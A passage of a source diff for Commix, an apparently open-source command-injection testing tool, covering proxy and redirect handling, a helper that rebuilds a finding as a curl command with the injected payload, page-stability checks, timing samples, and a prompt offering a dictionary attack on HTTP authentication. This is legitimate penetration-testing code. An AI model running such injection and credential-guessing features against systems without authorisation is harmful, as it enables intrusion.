settings.PROXY_TYPE.HTTP: + # Both schemes, not the target's own: this runs before a target has been read, and a handler + # keyed on the empty scheme that leaves is one urllib drops - the request then goes out direct. + proxy = _urllib.request.ProxyHandler({"http":menu.options.proxy, "https":menu.options.proxy}) + opener = _urllib.request.build_opener(proxy, redirection.RedirectHandler(), _urllib.request.HTTPSHandler(context=settings.unverified_context())) + _urllib.request.install_opener(opener) else: - _ = False - except (_urllib.error.URLError, _http_client.BadStatusLine) as err: - _ = False - if not _: - err_msg = "Unable to connect to the target URL or proxy." - print(settings.print_critical_msg(err_msg)) - raise SystemExit() + apply_to_request(request) + return _urllib.request.urlopen(request, timeout=settings.TIMEOUT) + except Exception as err_msg: + return requests.request_failed(err_msg) +""" + Check if HTTP Proxy is defined. +""" +def do_check(): + if settings.VERBOSITY_LEVEL != 0: + debug_msg = "Setting the HTTP proxy for all HTTP requests. " + settings.print_data_to_stdout(settings.print_debug_msg(debug_msg)) -# eof \ No newline at end of file +# eof diff --git a/src/core/requests/redirection.py b/src/core/requests/redirection.py index eeb82278e6..73f2d6de71 100755 --- a/src/core/requests/redirection.py +++ b/src/core/requests/redirection.py @@ -3,211 +3,107 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2021 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2026 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. - + For more see the file 'readme/COPYING' for copying permission. """ -import re -import sys -import errno -import base64 -try: - from base64 import encodebytes -except ImportError: - from base64 import encodestring as encodebytes -from src.utils import menu from src.utils import settings -from socket import error as SocketError -from src.thirdparty.six.moves import input as _input +from src.utils import common +from src.core.controller import checks from src.thirdparty.six.moves import urllib as _urllib -from src.thirdparty.colorama import Fore, Back, Style, init +class Request(_urllib.request.Request): + # A request that keeps the method it was made with, whatever a redirect asks for. + def __init__(self, *args, method=None, **kwargs): + self._method = method + _urllib.request.Request.__init__(self, *args, **kwargs) + + # The method this request was made with. + def get_method(self): + return self._method or _urllib.request.Request.get_method(self) -def do_check(url): +class RedirectHandler(_urllib.request.HTTPRedirectHandler, object): + """ + Subclass the HTTPRedirectHandler to make it use our + Request also on the redirected URL + """ + def redirect_request(self, request, fp, code, msg, headers, newurl): + if code in (301, 302, 303, 307, 308): + settings.REDIRECT_CODE = code + if not settings.FOLLOW_REDIRECT: + # Not following a redirect is our own decision to remember, not one the user asked for. + settings.WARNED_HTTP_ERROR_CODES.add(int(code)) + return None + target = newurl.replace(' ', '%20') + carried = dict(request.headers) + """ + Anything that authenticates the request to the host it was made to is dropped where the + redirect leaves that host. A redirect is the target's to choose, so following one with the + credentials still attached would hand them to whichever host it named. + """ + if _urllib.parse.urlparse(target).netloc != _urllib.parse.urlparse(request.get_full_url()).netloc: + for header in list(carried): + if header.lower().replace("-", "") in ("authorization", "proxyauthorization", "cookie"): + del carried[header] + # Preserve the original method, not HEAD - except on 303, which asks for GET by definition. + if code == 303 and request.get_method() != "HEAD": + return Request(target, data=None, headers=carried, method="GET") + return Request(target, + data=request.data, + headers=carried, + method=request.get_method() + ) + else: + err_msg = str(_urllib.error.HTTPError(request.get_full_url(), code, msg, headers, fp)).replace(": "," (") + settings.print_data_to_stdout(settings.print_critical_msg(err_msg + ").")) + raise SystemExit(settings.EXIT_FAILURE) + +def do_check(url, redirect_url): """ This functinality is based on Filippo's Valsorda script [1]. --- [1] https://gist.github.com/FiloSottile/2077115 """ - class Request(_urllib.request.Request): - def get_method(self): - return settings.HTTPMETHOD.HEAD - - class RedirectHandler(_urllib.request.HTTPRedirectHandler): - """ - Subclass the HTTPRedirectHandler to make it use our - Request also on the redirected URL - """ - def redirect_request(self, req, fp, code, msg, headers, redirected_url): - if code in (301, 302, 303, 307): - redirected_url = redirected_url.replace(' ', '%20') - newheaders = dict((k,v) for k,v in req.headers.items() if k.lower() not in ("content-length", "content-type")) - warn_msg = "Got a " + str(code) + " redirection (" + redirected_url + ")." - print(settings.print_warning_msg(warn_msg)) - return Request(redirected_url, - headers = newheaders, - # origin_req_host = req.get_origin_req_host(), - unverifiable = True - ) - else: - err_msg = str(_urllib.error.HTTPError(req.get_full_url(), code, msg, headers, fp)).replace(": "," (") - print(settings.print_critical_msg(err_msg + ").")) - raise SystemExit() - - class HTTPMethodFallback(_urllib.request.BaseHandler): - """ - """ - def http_error_405(self, req, fp, code, msg, headers): - fp.read() - fp.close() - newheaders = dict((k,v) for k,v in req.headers.items() if k.lower() not in ("content-length", "content-type")) - return self.parent.open(_urllib.request.Request(req.get_full_url(), - headers = newheaders, - # origin_req_host = req.get_origin_req_host(), - unverifiable = True) - ) - - # Build our opener - opener = _urllib.request.OpenerDirector() - # Check if defined any Host HTTP header. - if menu.options.host and settings.HOST_INJECTION == False: - opener.addheaders.append(('Host', menu.options.host)) - # Check if defined any User-Agent HTTP header. - if menu.options.agent: - opener.addheaders.append(('User-Agent', menu.options.agent)) - # Check if defined any Referer HTTP header. - if menu.options.referer and settings.REFERER_INJECTION == False: - opener.addheaders.append(('Referer', menu.options.referer)) - # Check if defined any Cookie HTTP header. - if menu.options.cookie and settings.COOKIE_INJECTION == False: - opener.addheaders.append(('Cookie', menu.options.cookie)) - # Check if defined any HTTP Authentication credentials. - # HTTP Authentication: Basic / Digest Access Authentication. - if menu.options.auth_cred and menu.options.auth_type: - try: - settings.SUPPORTED_HTTP_AUTH_TYPES.index(menu.options.auth_type) - if menu.options.auth_type == "basic": - b64_string = encodebytes(menu.options.auth_cred.encode(settings.UNICODE_ENCODING)).decode().replace('\n', '') - opener.addheaders.append(("Authorization", "Basic " + b64_string + "")) - elif menu.options.auth_type == "digest": - try: - url = menu.options.url - try: - response = _urllib.request.urlopen(url, timeout=settings.TIMEOUT) - except _urllib.error.HTTPError as e: - try: - authline = e.headers.get('www-authenticate', '') - authobj = re.match('''(\w*)\s+realm=(.*),''',authline).groups() - realm = authobj[1].split(',')[0].replace("\"","") - user_pass_pair = menu.options.auth_cred.split(":") - username = user_pass_pair[0] - password = user_pass_pair[1] - authhandler = _urllib.request.HTTPDigestAuthHandler() - authhandler.add_password(realm, url, username, password) - opener = _urllib.request.build_opener(authhandler) - _urllib.request.install_opener(opener) - result = _urllib.request.urlopen(url, timeout=settings.TIMEOUT) - except AttributeError: - pass - except _urllib.error.HTTPError as e: - pass - except ValueError: - err_msg = "Unsupported / Invalid HTTP authentication type '" + menu.options.auth_type + "'." - err_msg += " Try basic or digest HTTP authentication type." - print(settings.print_critical_msg(err_msg)) - raise SystemExit() - else: - pass - - for handler in [_urllib.request.HTTPHandler, - HTTPMethodFallback, - RedirectHandler, - _urllib.request.HTTPErrorProcessor, - _urllib.request.HTTPSHandler]: - opener.add_handler(handler()) - + # settings.REDIRECT_CODE is already set by the caller's own request - no need to resend it here. try: - # Return a Request or None in response to a redirect. - response = opener.open(Request(url)) - if response == None: + if (not settings.REDIRECT_CODE) or (settings.CRAWLING and redirect_url in settings.HREF_SKIPPED): + return redirect_url + elif settings.CRAWLING and url in settings.HREF_SKIPPED: return url else: - redirected_url = response.geturl() - if redirected_url != url: - while True: - if not menu.options.batch: - question_msg = "Do you want to follow the identified redirection? [Y/n] > " - redirection_option = _input(settings.print_question_msg(question_msg)) - else: - redirection_option = "" - if len(redirection_option) == 0 or redirection_option in settings.CHOICE_YES: - if menu.options.batch: - info_msg = "Following redirection to '" + redirected_url + "'. " - print(settings.print_info_msg(info_msg)) - return redirected_url - elif redirection_option in settings.CHOICE_NO: - return url - elif redirection_option in settings.CHOICE_QUIT: - raise SystemExit() - else: - err_msg = "'" + redirection_option + "' is not a valid answer." - print(settings.print_error_msg(err_msg)) - pass - else: - return url + while True: + if not settings.FOLLOW_REDIRECT: + if settings.CRAWLED_URLS_NUM != 0 and settings.CRAWLED_SKIPPED_URLS_NUM != 0: + settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) + message = "Got a " + str(settings.REDIRECT_CODE) + " redirect to '" + redirect_url + message += "'. Do you want to follow? [Y/n] " + redirection_option = common.read_input(message, default="Y", check_batch=True) + if redirection_option in settings.CHOICE_YES: + settings.FOLLOW_REDIRECT = True + info_msg = "Following redirection to '" + redirect_url + "'. " + settings.print_data_to_stdout(settings.print_info_msg(info_msg)) + if settings.CRAWLING: + settings.HREF_SKIPPED.append(url) + return checks.check_http_s(redirect_url) + elif redirection_option in settings.CHOICE_NO: + settings.FOLLOW_REDIRECT = False + if settings.CRAWLING: + settings.HREF_SKIPPED.append(url) + return url + elif redirection_option in settings.CHOICE_QUIT: + raise SystemExit() + else: + common.invalid_option(redirection_option) + pass except AttributeError: - pass - - # Raise exception due to ValueError. - except ValueError as err: - err_msg = str(err).replace(": "," (") - print(settings.print_critical_msg(err_msg + ").")) - raise SystemExit() - - # Raise exception regarding urllib2 HTTPError. - except _urllib.error.HTTPError as err: - # Raise exception regarding infinite loop. - if "infinite loop" in str(err): - err_msg = "Infinite redirect loop detected." - err_msg += "Please check all provided parameters and/or provide missing ones." - print(settings.print_critical_msg(err_msg)) - else: - err_msg = str(err).replace(": "," (") - print(settings.print_critical_msg(err_msg + ").")) - raise SystemExit() - - # The target host seems to be down. - except _urllib.error.URLError as err: - err_msg = "The host seems to be down" - try: - err_msg += " (Reason: " + str(err.args[0]).split("] ")[-1].lower() + ")." - except IndexError: - err_msg += "." - if not menu.options.bulkfile: - print(settings.print_critical_msg(err_msg)) - raise SystemExit() - - # Raise exception regarding existing connection was forcibly closed by the remote host. - except SocketError as err: - if err.errno == errno.ECONNRESET: - error_msg = "Connection reset by peer." - print(settings.print_critical_msg(error_msg)) - elif err.errno == errno.ECONNREFUSED: - error_msg = "Connection refused." - print(settings.print_critical_msg(error_msg)) - raise SystemExit() + return url - # Raise exception regarding connection aborted. - except Exception: - err_msg = "Connection aborted." - print(settings.print_critical_msg(err_msg)) - raise SystemExit() -# eof \ No newline at end of file +# eof diff --git a/src/core/requests/reproduce.py b/src/core/requests/reproduce.py new file mode 100644 index 0000000000..a532d45622 --- /dev/null +++ b/src/core/requests/reproduce.py @@ -0,0 +1,147 @@ +#!/usr/bin/env python +# encoding: UTF-8 + +""" +This file is part of Commix Project (https://commixproject.com). +Copyright (c) 2014-2026 Anastasios Stasinopoulos (@ancst). + +This program is free software: you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation, either version 3 of the License, or +(at your option) any later version. + +For more see the file 'readme/COPYING' for copying permission. +""" + +import re +from src.core.parse import cmdline as menu +from src.utils import settings +from src.core.controller import checks +from src.thirdparty.six.moves import urllib as _urllib + +""" +Wrap a value for a shell, so a payload full of quotes and dollar signs survives being pasted. +""" +def _quote(value): + return "'" + str(value).replace("'", "'\\''") + "'" + +""" +Split parameters into pairs and hand the payload to the one it was found on. The pairs are passed +to curl one by one, so the encoding of a payload full of '&' and '+' is curl's job, not a guess. +""" +def _parameter_arguments(data, vuln_parameter, payload): + arguments = [] + replaced = False + for pair in re.split(r"[" + re.escape(settings.URL_PARAM_DELIMITER + settings.POST_DATA_PARAM_DELIMITER) + r"]", data or ""): + if not pair: + continue + name = pair.split("=")[0] + if name == vuln_parameter and not replaced: + replaced = True + arguments += ["--data-urlencode", _quote(name + "=" + payload)] + else: + arguments += ["--data-urlencode", _quote(_urllib.parse.unquote(pair))] + return arguments, replaced + +""" +The header a payload was injected into, when it did not go into a parameter. +""" +def _injected_header(): + if settings.COOKIE_INJECTION: + return settings.COOKIE + if settings.USER_AGENT_INJECTION: + return settings.USER_AGENT + if settings.REFERER_INJECTION: + return settings.REFERER + if settings.HOST_INJECTION: + return settings.HOST + if settings.CUSTOM_HEADER_INJECTION: + return settings.CUSTOM_HEADER_NAME + return None + +""" +Build the command that reproduces a finding, so it can be confirmed without running commix again. +""" +def curl_command(url, http_request_method, vuln_parameter, payload): + try: + url = url or menu.options.url + if not url: + return "" + + # Shown as it is built, not decoded: nothing here is URL-encoded until it meets the request, + # and decoding it turned a per-cent sign in the command into the start of an escape. + header_name = _injected_header() + parts = _urllib.parse.urlsplit(url) + parameters = [] + query_in_url = True + headers = [] + + if header_name: + """ + The payload rode in a header, so every parameter stays as it was. + + A cookie header carries more than the one cookie the payload went into, and the real request + sends all of them with only that one's value replaced - so the whole header is rebuilt the + same way. Sending the payload on its own would drop the session cookie beside it, and the + command would not reproduce the finding. + """ + if header_name == settings.COOKIE and menu.options.cookie: + headers.append(header_name + ": " + checks.process_injectable_value(payload, menu.options.cookie)) + else: + headers.append(header_name + ": " + payload) + elif settings.USER_DEFINED_POST_DATA and (settings.IS_JSON or settings.IS_XML): + # A structured body is not a list of pairs: it goes over whole, with the payload written in. + body = checks.process_injectable_value(payload, settings.USER_DEFINED_POST_DATA) + parameters = ["--data-raw", _quote(body)] + headers.append("Content-Type: " + ("application/json" if settings.IS_JSON else "application/xml")) + elif settings.USER_DEFINED_POST_DATA: + parameters, _ = _parameter_arguments(settings.USER_DEFINED_POST_DATA, vuln_parameter, payload) + else: + parameters, replaced = _parameter_arguments(parts.query, vuln_parameter, payload) + if replaced: + # curl rebuilds the query from the pairs, so the one already in the URL has to go. + url = _urllib.parse.urlunsplit(parts._replace(query="")) + query_in_url = False + else: + parameters = [] + + for name, value in ((settings.COOKIE, menu.options.cookie), (settings.USER_AGENT, menu.options.agent), \ + (settings.REFERER, menu.options.referer), (settings.HOST, menu.options.host)): + if value and name != header_name: + headers.append(name + ": " + value) + + if menu.options.headers: + for header in menu.options.headers.split(settings.END_LINE.ESCAPED_LF): + if header.strip() and header.strip() not in headers: + headers.append(header.strip().replace(":", ": ", 1).replace(": ", ": ")) + elif menu.options.header and menu.options.header.strip(): + headers.append(menu.options.header.strip()) + + command = ["curl", "-i", "-s"] + if parameters and query_in_url is False: + # Without this the pairs would be sent as a body, turning the request into a POST. + command.append("--get") + if http_request_method and http_request_method != settings.HTTPMETHOD.GET: + command += ["-X", http_request_method] + for header in headers: + command += ["-H", _quote(header)] + command += parameters + command.append(_quote(url)) + + return settings.SINGLE_WHITESPACE.join(command) + except Exception: + # A command that cannot be built is not worth failing a finished scan over. + return "" + +""" +What the reproduction cannot carry over from the scan, so it is not read as an exact replay. +""" +def curl_command_caveats(): + caveats = [] + if menu.options.chunked: + caveats.append("the request was sent chunked, which this command does not reproduce") + if menu.options.live_cookies: + caveats.append("the cookie was read live and may since have changed") + return caveats + +# eof diff --git a/src/core/requests/requests.py b/src/core/requests/requests.py index bf04817748..234b561880 100755 --- a/src/core/requests/requests.py +++ b/src/core/requests/requests.py @@ -3,103 +3,363 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2021 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2026 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. - + For more see the file 'readme/COPYING' for copying permission. """ +import io import re -import sys import time -import socket -from src.utils import menu +import calendar +import email.utils +import threading +import statistics +from socket import error as SocketError +from src.core.parse import cmdline as menu from os.path import splitext from src.utils import settings from src.utils import session_handler from src.thirdparty.six.moves import http_client as _http_client # accept overly long result lines _http_client._MAXLINE = 1 * 1024 * 1024 -from src.core.requests import tor -from src.core.requests import proxy +from src.utils import common +from src.utils import crawler from src.core.requests import headers from src.core.requests import parameters +from src.core.requests import redirection from src.core.requests import authentication -from src.core.injections.controller import checks -from src.thirdparty.six.moves import input as _input +from src.core.requests import stability +from src.core.controller import checks from src.thirdparty.six.moves import urllib as _urllib -from src.thirdparty.colorama import Fore, Back, Style, init """ -Estimating the response time (in seconds). +Keep the page the target answered with, off the response already in hand. + +Read once and handed back for whatever reads it next: what a parameter is compared against, what the +forms are parsed out of, and what the proof is written from all want the same page, and none of them +is worth a second request. +""" +def capture_original_page(response): + if response is None or isinstance(response, bool): + return None + try: + raw_body = response.read() + except Exception: + return None + response.read = (lambda _b: lambda *a, **kw: _b)(raw_body) + settings.ORIGINAL_PAGE = checks.decode_page_body(raw_body, response) + return raw_body + +""" +Check if the content of the given URL is stable over time. +""" +def is_url_content_stable(url, response=None, fetch_time=None, http_request_method=None): + status = "stable" + info_msg = "Checking if the target URL content is stable." + settings.print_data_to_stdout(settings.print_info_msg(info_msg)) + + # One request for the stability check, built the way the run's own requests are. + def _build_request(): + method = http_request_method or settings.HTTPMETHOD.GET + if settings.USER_DEFINED_POST_DATA: + request = _urllib.request.Request(url, settings.USER_DEFINED_POST_DATA.encode(settings.DEFAULT_CODEC), method=method) + else: + request = _urllib.request.Request(url, method=method) + headers.do_check(request) + return request + + # Retried here too: what differs between the samples is set aside as the page moving on its own. + def _sample(request=None, response=None): + if request is None: + request = _build_request() + if response is None: + response = headers.send_raw(request) + return with_retry_on(request, response) + + try: + if response is not None: + response = _sample(response=response) + raw_body = capture_original_page(response) + first_response_content = raw_body.strip() + else: + first_response = _sample() + try: + raw_body = first_response.read() + first_response_content = raw_body.strip() + settings.ORIGINAL_PAGE = checks.decode_page_body(raw_body, first_response) + finally: + first_response.close() + fetch_time = time.time() + + remaining = settings.STABILITY_CHECK_DELAY + if fetch_time is not None: + remaining = max(0, min(settings.STABILITY_CHECK_DELAY, settings.STABILITY_CHECK_DELAY - (time.time() - fetch_time))) + if remaining: + time.sleep(remaining) + + second_response = _sample() + try: + raw_second_body = second_response.read() + second_response_content = raw_second_body.strip() + second_page = checks.decode_page_body(raw_second_body, second_response) + finally: + second_response.close() + + if first_response_content != second_response_content: + ratio = checks.page_ratio(first_response_content, second_response_content) + if settings.VERBOSITY_LEVEL != 0: + debug_msg = "Content similarity ratio between the two samples: " + str(round(ratio, 4)) + debug_msg += " (threshold: " + str(settings.STABILITY_SIMILARITY_THRESHOLD) + ")." + settings.print_data_to_stdout(settings.print_debug_msg(debug_msg)) + if ratio < settings.STABILITY_SIMILARITY_THRESHOLD: + status = "dynamic" + settings.PAGE_STABLE = status == "stable" + + # Said before the work it decides, so the answer is given with the reason for it still on screen. + # 'PAGE_STABLE' is freshly computed every call, so this is said again for every target it is + # true of; the choice right after it is the user's to make once, not per target - 'UNSTABLE_ + # PROMPTED' is what is carried over, so a later target gets the warning without being asked again. + if not settings.PAGE_STABLE: + # What happened, what is done about it, and what to reach for when the results read wrong. + warn_msg = "Target URL content is not stable (i.e. content differs). Page comparison is based " + warn_msg += "on a sequence matcher, with the parts that move on their own left out. If no " + warn_msg += "dynamic nor injectable parameter is detected, or in case of junk results, give " + warn_msg += "it a go with the switch '--text-only'." + settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) + if not settings.UNSTABLE_PROMPTED: + settings.UNSTABLE_PROMPTED = True + message = "How do you want to proceed? [(C)ontinue/(q)uit] " + if common.read_input(message, default="C", check_batch=True) in settings.CHOICE_QUIT: + raise SystemExit(settings.EXIT_FAILURE) + + """ + The two samples are of the same request, so whatever differs between them is the page moving on + its own. Noted as regions to leave out, and the pair compared again without them and without + the layout around the text - which is the comparison every later one is read against. + """ + checks.find_dynamic_content(settings.ORIGINAL_PAGE, second_page) + settings.ORIGINAL_PAGE_COMPARABLE = checks.comparable_page(settings.ORIGINAL_PAGE) + settings.PAGE_NOISE_RATIO = checks.page_ratio(settings.ORIGINAL_PAGE_COMPARABLE, + checks.comparable_page(second_page)) + + """ + '--skip-static' reads this ratio as how similar an unchanged response can be expected to look - + a single pair is one sample of how noisy the target's own output is, and against a target whose + every response carries its own jitter (a live 'ping', a timestamp), that one sample can land low + purely by chance, making a genuinely dynamic parameter look static. A third same-value sample + costs one more request, asked only where '--skip-static' will actually spend the ratio, and the + higher of the two ratios is kept - the more charitable of two readings of the same no-change + case, rather than whichever one happened to be measured. + """ + if menu.options.skip_static: + try: + third_response = _sample() + try: + third_page = checks.decode_page_body(third_response.read(), third_response) + finally: + third_response.close() + third_ratio = checks.page_ratio(settings.ORIGINAL_PAGE_COMPARABLE, + checks.comparable_page(third_page)) + settings.PAGE_NOISE_RATIO = max(settings.PAGE_NOISE_RATIO, third_ratio) + except Exception: + # The two-sample ratio above still stands; a third, better-calibrated reading is a bonus. + pass + + if settings.VERBOSITY_LEVEL != 0 and settings.DYNAMIC_MARKINGS: + debug_msg = "Marked " + str(len(settings.DYNAMIC_MARKINGS)) + " region" + debug_msg += "s"[len(settings.DYNAMIC_MARKINGS) == 1:] + " of the page as moving on its own." + settings.print_data_to_stdout(settings.print_debug_msg(debug_msg)) + + except Exception: + msg = "Unable to determine target URL content stability due to retrieval errors." + settings.print_data_to_stdout(settings.print_warning_msg(msg)) + return + + # Only where it is: the other answer was already given, with what it costs, by the warning above. + if settings.PAGE_STABLE: + msg = "Target URL content is stable." + settings.print_data_to_stdout(settings.print_info_msg(msg)) + + """ -def estimate_response_time(url, timesec): +Do a request to target URL. +""" +def crawler_request(url, http_request_method): + try: + # Check if defined POST data + if settings.USER_DEFINED_POST_DATA: + data = settings.USER_DEFINED_POST_DATA.encode(settings.DEFAULT_CODEC) + else: + data = None + request = _urllib.request.Request(url, data, method=http_request_method) + headers.do_check(request) + response = headers.check_http_traffic(request) + if response is None: + response = headers.resend(request) + response = with_retry_on(request, response) + if type(response) is not bool and settings.FOLLOW_REDIRECT and response is not None: + if response.geturl() != url: + href = redirection.do_check(url, response.geturl()) + if href != url: + crawler.store_hrefs(href, identified_hrefs=True, redirection=True) + return response + except (SocketError, _urllib.error.HTTPError, _urllib.error.URLError, _http_client.BadStatusLine, _http_client.IncompleteRead, _http_client.InvalidURL, Exception) as err_msg: + if url not in settings.HREF_SKIPPED: + settings.HREF_SKIPPED.append(url) + settings.CRAWLED_SKIPPED_URLS_NUM += 1 + if settings.SITEMAP_XML_FILE in url and settings.NOT_FOUND_ERROR in str(err_msg): + warn_msg = "'" + settings.SITEMAP_XML_FILE + "' not found." + settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) + else: + request_failed(err_msg) + +""" +Attach a harmless (tag-stripped) version of the cookie/header under test - do_check() skips it, but timing samples need the same target-side cost as real requests. +""" +def _attach_injection_point_placeholder(request): + if settings.COOKIE_INJECTION and menu.options.cookie: + request.add_header(settings.COOKIE, checks.remove_tags(menu.options.cookie)) + elif settings.USER_AGENT_INJECTION and menu.options.agent: + request.add_header(settings.USER_AGENT, checks.remove_tags(menu.options.agent)) + elif settings.REFERER_INJECTION and menu.options.referer: + request.add_header(settings.REFERER, checks.remove_tags(menu.options.referer)) + elif settings.HOST_INJECTION and menu.options.host: + request.add_header(settings.HOST, checks.remove_tags(menu.options.host)) + elif settings.CUSTOM_HEADER_INJECTION and settings.CUSTOM_HEADER_VALUE: + request.add_header(settings.CUSTOM_HEADER_NAME, checks.remove_tags(settings.CUSTOM_HEADER_VALUE)) + +""" +The page this request answers with when the parameter carries no payload. + +Built the way every other request is and with the payload left out, so what comes back is the +answer to the value the parameter is carrying right now rather than to the one it arrived with. +Best-effort: a target that will not answer this leaves the caller with what it already had. +""" +def page_without_payload(url, http_request_method): + try: + if menu.options.data: + request = _urllib.request.Request(url, menu.options.data.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.TESTABLE_VALUE).encode(settings.DEFAULT_CODEC), method=http_request_method) + else: + request = _urllib.request.Request(url.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.TESTABLE_VALUE), method=http_request_method) + headers.do_check(request) + _attach_injection_point_placeholder(request) + headers.apply_request_policy() + response = headers.send_raw(request) + return checks.decode_page_body(response.read(), response) + except Exception: + return None + +""" +A single, best-effort clean response-time sample; returns None on failure instead of raising. +""" +def quick_response_time_sample(url, http_request_method): + try: + if menu.options.data: + request = _urllib.request.Request(url, menu.options.data.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.TESTABLE_VALUE).encode(settings.DEFAULT_CODEC), method=http_request_method) + else: + request = _urllib.request.Request(url.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.TESTABLE_VALUE), method=http_request_method) + headers.do_check(request) + _attach_injection_point_placeholder(request) + # Paced before the clock starts, so the delay this run keeps is not measured as the target's. + headers.apply_request_policy() + start = time.time() + try: + response = headers.send_raw(request, policy=False) + except _urllib.error.HTTPError as err: + """ + An error code the run was told to ignore is still an answer, and it was still timed. + + Every technique above reads such a response as the target speaking; only the model that times + them threw it away. A target answering each request with the same error filled nothing in, and + the run was then stopped for having had no answer at all - on a parameter two techniques had + already been confirmed on. + """ + if not checks.ignored_http_error_code(getattr(err, "code", None)): + raise + response = err + response.read(1) + response.close() + return time.time() - start + except Exception: + return None + +""" +Sends one clean request and times it, with full auth-error handling - the authoritative first sample for estimate_response_time() below. +""" +def _measure_response_time_with_auth_handling(url, http_request_method): stored_auth_creds = False + if settings.VERBOSITY_LEVEL != 0: debug_msg = "Estimating the target URL response time. " - sys.stdout.write(settings.print_debug_msg(debug_msg)) - sys.stdout.flush() + settings.print_data_to_stdout(settings.print_debug_msg(debug_msg)) + # Check if defined POST data if menu.options.data: - request = _urllib.request.Request(url, menu.options.data.encode(settings.UNICODE_ENCODING)) + request = _urllib.request.Request(url, menu.options.data.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.TESTABLE_VALUE).encode(settings.DEFAULT_CODEC), method=http_request_method) else: - url = parameters.get_url_part(url) - request = _urllib.request.Request(url) - headers.do_check(request) + request = _urllib.request.Request(url.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.TESTABLE_VALUE), method=http_request_method) + + headers.do_check(request) + _attach_injection_point_placeholder(request) + # Paced before the clock starts, so the delay this run keeps is not measured as the target's. + headers.apply_request_policy() start = time.time() try: - response = _urllib.request.urlopen(request, timeout=settings.TIMEOUT) + response = headers.send_raw(request, policy=False) response.read(1) response.close() - except _http_client.InvalidURL as err_msg: - print(settings.print_critical_msg(err_msg)) - raise SystemExit() + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) + raise SystemExit(settings.EXIT_FAILURE) - except _urllib.error.HTTPError as err: + except (_urllib.error.HTTPError, _urllib.error.URLError) as err: ignore_start = time.time() - if settings.UNAUTHORIZED_ERROR in str(err) and menu.options.ignore_code == settings.UNAUTHORIZED_ERROR: + if settings.UNAUTHORIZED_ERROR in str(err) and int(settings.UNAUTHORIZED_ERROR) in settings.IGNORE_CODE: pass else: - if settings.VERBOSITY_LEVEL != 0: - print(settings.SINGLE_WHITESPACE) err_msg = "Unable to connect to the target URL" try: err_msg += " (Reason: " + str(err.args[0]).split("] ")[-1].lower() + ")." except IndexError: err_msg += " (" + str(err) + ")." - print(settings.print_critical_msg(err_msg)) - # Check for HTTP Error 401 (Unauthorized). - if str(err.getcode()) == settings.UNAUTHORIZED_ERROR: + + # Use getattr to safely get the error code (HTTPError has it, URLError doesn't) + err_code = getattr(err, "code", None) + if str(err_code) != settings.UNAUTHORIZED_ERROR: + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) + else: try: - # Get the auth header value - auth_line = err.headers.get('www-authenticate', '') - # Checking for authentication type name. - auth_type = auth_line.split()[0] - settings.SUPPORTED_HTTP_AUTH_TYPES.index(auth_type.lower()) - # Checking for the realm attribute. - try: - auth_obj = re.match('''(\w*)\s+realm=(.*)''', auth_line).groups() + # Safely get auth header if present + auth_line = '' + if hasattr(err, 'headers') and err.headers: + auth_line = err.headers.get('www-authenticate', '') + auth_type = auth_line.split()[0] if auth_line else '' + + try: + auth_obj = re.match(r'''(\w*)\s+realm=(.*)''', auth_line).groups() realm = auth_obj[1].split(',')[0].replace("\"", "") - except: + except (AttributeError, IndexError, TypeError): realm = False except ValueError: err_msg = "The identified HTTP authentication type (" + str(auth_type) + ") " err_msg += "is not yet supported." - print(settings.print_critical_msg(err_msg) + "\n") - raise SystemExit() + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) + raise SystemExit(settings.EXIT_FAILURE) except IndexError: - err_msg = "The provided pair of " + str(menu.options.auth_type) + err_msg = "The provided pair of " + str(menu.options.auth_type) err_msg += " HTTP authentication credentials '" + str(menu.options.auth_cred) + "'" err_msg += " seems to be invalid." - print(settings.print_critical_msg(err_msg)) - raise SystemExit() + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) + raise SystemExit(settings.EXIT_FAILURE) + if menu.options.auth_type and menu.options.auth_type != auth_type.lower(): if checks.identified_http_auth_type(auth_type): @@ -111,31 +371,30 @@ def estimate_response_time(url, timesec): if not menu.options.auth_cred: try: stored_auth_creds = session_handler.export_valid_credentials(url, auth_type.lower()) - except: + except (Exception, SystemExit): stored_auth_creds = False if stored_auth_creds and not menu.options.ignore_session: menu.options.auth_cred = stored_auth_creds - info_msg = "Identified a previously stored valid pair of credentials '" - info_msg += menu.options.auth_cred + Style.RESET_ALL + Style.BRIGHT + "'." - print(settings.print_bold_info_msg(info_msg)) - else: - # Basic authentication - if menu.options.auth_type == "basic": - if not menu.options.ignore_code == settings.UNAUTHORIZED_ERROR: - warn_msg = menu.options.auth_type.capitalize() + " " - warn_msg += "HTTP authentication credentials are required." - print(settings.print_warning_msg(warn_msg)) + info_msg = "Restoring credentials '" + info_msg += menu.options.auth_cred + "' from previous stored session." + settings.print_data_to_stdout(settings.print_info_msg(info_msg)) + else: + # Basic authentication + if menu.options.auth_type.lower() == settings.AUTH_TYPE.BASIC: + if not int(settings.UNAUTHORIZED_ERROR) in settings.IGNORE_CODE: + warn_msg = "This target requires " + menu.options.auth_type.lower() + " " + warn_msg += "HTTP authentication credentials." + settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) while True: - if not menu.options.batch: - question_msg = "Do you want to perform a dictionary-based attack? [Y/n] > " - do_update = _input(settings.print_question_msg(question_msg)) - else: - do_update = "" - if len(do_update) == 0: - do_update = "Y" + message = "Do you want to perform a dictionary-based attack? [Y/n] " + do_update = 